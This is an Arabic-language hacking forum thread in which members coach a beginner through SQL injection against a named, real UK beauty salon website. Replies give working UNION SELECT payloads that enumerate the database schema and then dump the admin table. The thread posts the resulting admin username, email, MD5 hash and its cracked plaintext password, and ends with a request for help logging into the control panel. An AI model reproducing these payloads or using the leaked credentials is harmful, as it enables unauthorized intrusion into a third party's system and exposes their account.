السلام عليكم مساعدة يا شباب في sql injection

[MadaRaXP]

السلام عليكم
انا جديد في عالم sql injection
الأن وصلت الى مرحلة معرفة اصدار قاعدة البيانات و هي 5
http://www.beautycall.co.uk/gallery....ersion%28%29--
تفضلوا الموقع اتمنى ان يرشدني احد منكم الى طريق الإستمرارية يعني ما هي الخطوة القادمة
اتمنى ان تكون خطوة خطوة ،،

[soufhak]

أخي بعد هذه المرحلة تأتي مرحلة الإتصال بقاعدة البيانات و السيشما

كود PHP:

http://www.beautycall.co.uk/gallery.php?id=-1+union+select+1,2,concat(table_name,0x3a,column_name,0x3a,table_schema)+from+information_schema.columns-- 


الله يوفقك يا رجل

[NeTCaT-Ma]

شكرا أخي soufhak ما قصرت

[Tn-Sn!PeR]

http://www.vbspiders.com/vb/t35410.html

[ViRuS Qalaa]

[align=center]تم بلتوفيق :

كود PHP:

http://www.beautycall.co.uk/gallery.php?id=-1+union+select+1,2,concat%28username,0x3a,password,0x3a,email%29+from+admin-- 


اليوزر :beautycall2010
الباسورد :d68553e40237bde1465a1da5b199c072
الايميل :info@mocit.co.uk
================
الباسورد مشفر بمقياس md5 لعيونك تم فك التشفير

كود PHP:

4SweetCandy1 


طبعا هذا الباسورد بعد فك التشفير
بلتوفيق لاتنسى تقيمي اذا افتك بشيء :dd: [/align]

[MadaRaXP]

احلى تقييم لكن ممكن كيف ادخل للوحة التحكم